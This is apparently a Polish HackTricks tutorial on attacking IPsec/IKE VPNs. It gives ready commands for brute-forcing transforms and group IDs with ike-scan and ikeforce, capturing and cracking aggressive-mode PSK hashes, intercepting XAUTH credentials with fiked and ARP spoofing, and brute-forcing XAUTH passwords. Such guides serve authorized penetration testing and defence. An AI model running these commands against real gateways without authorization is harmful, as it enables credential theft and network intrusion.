20 KiB
500/udp - Testowanie penetracyjne IPsec/IKE VPN
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. Wypróbuj go za darmo już dziś.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Podstawowe informacje
IPsec jest powszechnie uznawany za główną technologię zabezpieczającą komunikację między sieciami (LAN-to-LAN) oraz między zdalnymi użytkownikami a bramką sieciową (dostęp zdalny), stanowiąc podstawę dla rozwiązań VPN w przedsiębiorstwach.
Ustanowienie stowarzyszenia zabezpieczeń (SA) między dwoma punktami jest zarządzane przez IKE, który działa w ramach protokołu ISAKMP, zaprojektowanego do uwierzytelniania i wymiany kluczy. Ten proces przebiega w kilku fazach:
- Faza 1: Tworzony jest bezpieczny kanał między dwoma punktami. Osiąga się to za pomocą klucza pre-shared (PSK) lub certyfikatów, przy użyciu trybu głównego, który obejmuje trzy pary komunikatów, lub trybu agresywnego.
- Faza 1.5: Choć nie jest obowiązkowa, ta faza, znana jako Rozszerzona Faza Uwierzytelniania, weryfikuje tożsamość użytkownika próbującego się połączyć, wymagając nazwy użytkownika i hasła.
- Faza 2: Ta faza jest poświęcona negocjowaniu parametrów zabezpieczających dane za pomocą ESP i AH. Umożliwia korzystanie z algorytmów różnych od tych w Fazie 1 w celu zapewnienia Perfect Forward Secrecy (PFS), zwiększając bezpieczeństwo.
Domyślny port: 500/udp
Odkryj usługę za pomocą nmap
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
Znajdowanie prawidłowej transformacji
Konfiguracja IPSec może być przygotowana tylko do akceptowania jednej lub kilku transformacji. Transformacja to kombinacja wartości. Każda transformacja zawiera pewną liczbę atrybutów, takich jak DES lub 3DES jako algorytm szyfrowania, SHA lub MD5 jako algorytm integralności, klucz współdzielony jako typ uwierzytelniania, Diffie-Hellman 1 lub 2 jako algorytm dystrybucji klucza oraz 28800 sekund jako czas życia.
Następnie, pierwszą rzeczą, którą musisz zrobić, jest znalezienie prawidłowej transformacji, aby serwer mógł z tobą rozmawiać. Możesz to zrobić za pomocą narzędzia ike-scan. Domyślnie ike-scan działa w trybie głównym i wysyła pakiet do bramy z nagłówkiem ISAKMP i pojedynczą propozycją zawierającą osiem transformacji.
W zależności od odpowiedzi możesz uzyskać pewne informacje na temat punktu końcowego:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
Jak widać w poprzedniej odpowiedzi, istnieje pole o nazwie AUTH o wartości PSK. Oznacza to, że VPN jest skonfigurowany za pomocą klucza współdzielonego (co jest bardzo dobre dla pentestera).
Wartość ostatniej linii jest również bardzo ważna:
- 0 zwróconych handshake'ów; 0 zwróconych powiadomień: Oznacza to, że cel nie jest bramą IPsec.
- 1 zwrócony handshake; 0 zwróconych powiadomień: Oznacza to, że cel jest skonfigurowany do IPsec i jest gotowy do przeprowadzenia negocjacji IKE, a jedna lub więcej proponowanych transformacji jest akceptowalna (poprawna transformacja zostanie pokazana w wynikach).
- 0 zwróconych handshake'ów; 1 zwrócone powiadomienie: Bramy VPN odpowiadają powiadomieniem, gdy żadna z transformacji nie jest akceptowalna (choć niektóre bramy tego nie robią, w takim przypadku należy przeprowadzić dalszą analizę i zmienić propozycję).
W tym przypadku mamy już poprawną transformację, ale jeśli znajdujesz się w trzecim przypadku, musisz trochę przeprowadzić brute-force, aby znaleźć poprawną transformację:
Przede wszystkim musisz utworzyć wszystkie możliwe transformacje:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
A następnie przeprowadź atak brute-force na każdym z nich, używając ike-scan (to może zająć kilka minut):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
Jeśli metoda brute-force nie zadziałała, możliwe, że serwer odpowiada bez użycia handshake nawet na poprawne transformacje. W takim przypadku można spróbować zastosować tę samą metodę brute-force, ale w trybie agresywnym:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
Mam nadzieję, że poprawna transformacja zostanie zwrócona.
Możesz spróbować tego samego ataku za pomocą iker.py.
Możesz również spróbować siłowo przeprowadzić transformacje za pomocą ikeforce:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
W Grupie DH: 14 = 2048-bit MODP i 15 = 3072-bit
2 = HMAC-SHA = SHA1 (w tym przypadku). Format --trans
to $Enc,$Hash,$Auth,$DH
Cisco zaleca unikanie korzystania z grup DH 1 i 2, ponieważ nie są wystarczająco silne. Eksperci uważają, że kraje posiadające dużo zasobów mogą łatwo złamać szyfrowanie danych, które korzystają z tych słabych grup. Dzieje się to za pomocą specjalnej metody, która przygotowuje je do szybkiego łamania kodów. Pomimo że kosztuje dużo pieniędzy, aby skonfigurować tę metodę, pozwala tym potężnym krajom odczytywać zaszyfrowane dane w czasie rzeczywistym, jeśli korzystają z grupy, która nie jest wystarczająco silna (np. 1024-bitowa lub mniejsza).
Fingerprinting serwera
Następnie można użyć ike-scan, aby odkryć producenta urządzenia. Narzędzie wysyła początkową propozycję i przestaje odtwarzać. Następnie analizuje różnicę czasu między otrzymanymi wiadomościami od serwera a pasującym wzorcem odpowiedzi, co pozwala pentesterowi z powodzeniem zidentyfikować dostawcę bramy VPN. Ponadto, niektóre serwery VPN będą używać opcjonalnego payloadu Vendor ID (VID) z IKE.
Określ poprawną transformację, jeśli jest to konieczne (używając --trans)
Jeśli IKE odkryje, jaki jest producent, zostanie to wydrukowane:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
To można również osiągnąć za pomocą skryptu nmap ike-version
Znajdowanie poprawnego ID (nazwy grupy)
Aby móc przechwycić skrót, potrzebujesz prawidłowej transformacji obsługującej tryb Aggressive i poprawnego ID (nazwy grupy). Prawdopodobnie nie będziesz znał poprawnej nazwy grupy, więc będziesz musiał ją przeprowadzić metodą brute-force.
Aby to zrobić, polecam Ci 2 metody:
Brute-force ID za pomocą ike-scan
Przede wszystkim spróbuj wysłać żądanie z fałszywym ID, próbując zgromadzić skrót ("-P"):
ike-scan -P -M -A -n fakeID <IP>
Jeśli nie zostanie zwrócony żaden skrót, to prawdopodobnie ta metoda brute forcingu zadziała. Jeśli zostanie zwrócony jakiś skrót, oznacza to, że dla fałszywego identyfikatora zostanie wysłany fałszywy skrót, więc ta metoda nie będzie niezawodna do brute forcingu identyfikatora. Na przykład, może zostać zwrócony fałszywy skrót (to się zdarza w nowszych wersjach):
Ale jeśli, jak już powiedziałem, nie zostanie zwrócony żaden skrót, powinieneś spróbować brute forcingu popularnych nazw grup za pomocą ike-scan.
Ten skrypt spróbuje brute forcingu możliwych identyfikatorów i zwróci identyfikatory, dla których zostanie zwrócone poprawne połączenie (będzie to poprawna nazwa grupy).
Jeśli odkryłeś konkretną transformację, dodaj ją do polecenia ike-scan. A jeśli odkryłeś kilka transformacji, możesz dodać nową pętlę, aby je wszystkie wypróbować (powinieneś wypróbować je wszystkie, dopóki jedna z nich nie będzie działać poprawnie).
Możesz użyć słownika ikeforce lub tego w seclists z popularnymi nazwami grup do brute forcingu.
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Lub użyj tego słownika (jest to kombinacja dwóch innych słowników bez powtórzeń):
{% file src="../.gitbook/assets/vpnIDs.txt" %}
Bruteforcing ID za pomocą Iker
iker.py również używa ike-scan do bruteforce'owania możliwych nazw grup. Posiada własną metodę znajdowania poprawnego ID na podstawie wyników ike-scan.
Bruteforcing ID za pomocą ikeforce
ikeforce.py to narzędzie, które można użyć do brute force'owania ID. Narzędzie to próbuje wykorzystać różne podatności, które mogą być użyte do rozróżnienia między poprawnym a niepoprawnym ID (może dawać fałszywe pozytywy i fałszywe negatywy, dlatego wole używać metody ike-scan, jeśli to możliwe).
Domyślnie ikeforce na początku wyśle kilka losowych ID, aby sprawdzić zachowanie serwera i określić taktykę do użycia.
- Pierwsza metoda polega na brute-force'owaniu nazw grup poprzez wyszukiwanie informacji Dead Peer Detection DPD w systemach Cisco (ta informacja jest odtwarzana tylko przez serwer, jeśli nazwa grupy jest poprawna).
- Druga dostępna metoda polega na sprawdzaniu liczby odpowiedzi wysłanych do każdej próby, ponieważ czasami wysyłane jest więcej pakietów, gdy używane jest poprawne ID.
- Trzecia metoda polega na wyszukiwaniu "INVALID-ID-INFORMATION" w odpowiedzi na niepoprawne ID.
- Wreszcie, jeśli serwer nie odpowiada na żadne sprawdzenia, ikeforce spróbuje brute-force'ować serwer i sprawdzić, czy po wysłaniu poprawnego ID serwer odpowiada jakimś pakietem.
Oczywiście, celem brute force'owania ID jest uzyskanie PSK, gdy masz poprawne ID. Następnie, przy użyciu ID i PSK, będziesz musiał brute-force'ować XAUTH (jeśli jest włączony).
Jeśli odkryłeś konkretną transformację, dodaj ją w poleceniu ikeforce. A jeśli odkryłeś kilka transformacji, śmiało dodaj nową pętlę, aby wypróbować je wszystkie (powinieneś wypróbować je wszystkie, aż jedna z nich będzie działać poprawnie).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Podsłuchiwanie ID
(Z książki Network Security Assessment: Poznaj swoją sieć): Możliwe jest również uzyskanie prawidłowych nazw użytkowników poprzez podsłuchiwanie połączenia między klientem a serwerem VPN, ponieważ pierwszy pakiet w trybie agresywnym zawierający identyfikator klienta jest wysyłany w sposób jawny.
Przechwytywanie i łamanie hasha
Wreszcie, jeśli znalazłeś prawidłową transformację i nazwę grupy, a tryb agresywny jest dozwolony, to bardzo łatwo możesz przechwycić hasha, który można złamać:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
Skrót zostanie zapisany w pliku hash.txt.
Możesz użyć psk-crack, john (korzystając z ikescan2john.py) i hashcat do łamania skrótu:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Tryb agresywny IKE w połączeniu z Pre-Shared Key (PSK) jest powszechnie stosowany w celu uwierzytelniania grupowego. Metoda ta jest wspomagana przez XAuth (Extended Authentication), który wprowadza dodatkową warstwę uwierzytelniania użytkownika. Takie uwierzytelnianie zwykle wykorzystuje usługi takie jak Microsoft Active Directory, RADIUS lub podobne systemy.
Przy przejściu do IKEv2 obserwuje się istotną zmianę, gdzie zamiast XAuth wykorzystuje się EAP (Extensible Authentication Protocol) do uwierzytelniania użytkowników. Ta zmiana podkreśla ewolucję praktyk uwierzytelniania w bezpiecznych protokołach komunikacyjnych.
Przechwytywanie pośredniego ruchu sieciowego w celu przechwycenia danych uwierzytelniających
Możesz przechwycić dane logowania za pomocą fiked i sprawdzić, czy istnieje domyślne nazwa użytkownika (Musisz przekierować ruch IKE do fiked
w celu przechwycenia, co można zrobić za pomocą ARP spoofing, więcej informacji). Fiked będzie działał jako punkt końcowy VPN i przechwyci dane uwierzytelniania XAuth:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Dodatkowo, używając IPSec, spróbuj przeprowadzić atak typu MitM i zablokuj cały ruch do portu 500. Jeśli tunel IPSec nie może zostać ustanowiony, możliwe, że ruch zostanie wysłany w sposób niezaszyfrowany.
Bruteforce'owanie nazwy użytkownika i hasła XAUTH za pomocą narzędzia ikeforce
Aby przeprowadzić atak typu bruteforce na XAUTH (gdy znasz poprawną nazwę grupy id i psk), możesz użyć nazwy użytkownika lub listy nazw użytkowników oraz listy haseł:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
W ten sposób ikeforce spróbuje połączyć się, używając każdej kombinacji nazwa użytkownika:hasło.
Jeśli znalazłeś jedno lub kilka prawidłowych transformacji, użyj ich tak jak w poprzednich krokach.
Uwierzytelnianie za pomocą VPN IPSEC
W Kali, do nawiązywania tuneli IPsec używany jest VPNC. Profile muszą znajdować się w katalogu /etc/vpnc/
. Możesz uruchomić te profile za pomocą polecenia vpnc.
Poniższe polecenia i konfiguracje ilustrują proces konfiguracji połączenia VPN za pomocą VPNC:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
W tej konfiguracji:
- Zastąp
[VPN_GATEWAY_IP]
rzeczywistym adresem IP bramy VPN. - Zastąp
[VPN_CONNECTION_ID]
identyfikatorem połączenia VPN. - Zastąp
[VPN_GROUP_SECRET]
sekretem grupy VPN. - Zastąp
[VPN_USERNAME]
i[VPN_PASSWORD]
danymi uwierzytelniającymi do VPN. [PID]
symbolizuje identyfikator procesu, który zostanie przypisany podczas inicjowaniavpnc
.
Upewnij się, że podczas konfigurowania VPN używasz rzeczywistych i bezpiecznych wartości, aby zastąpić zastępcze symbole.
Materiały referencyjne
- Artykuł o łamaniu PSK
- SecurityFocus Infocus
- Skanowanie implementacji VPN
- Network Security Assessment 3rd Edition
Shodan
port:500 IKE
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. Wypróbuj go za darmo już dziś.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi trikami hakerskimi, przesyłając PR do HackTricks i HackTricks Cloud github repos.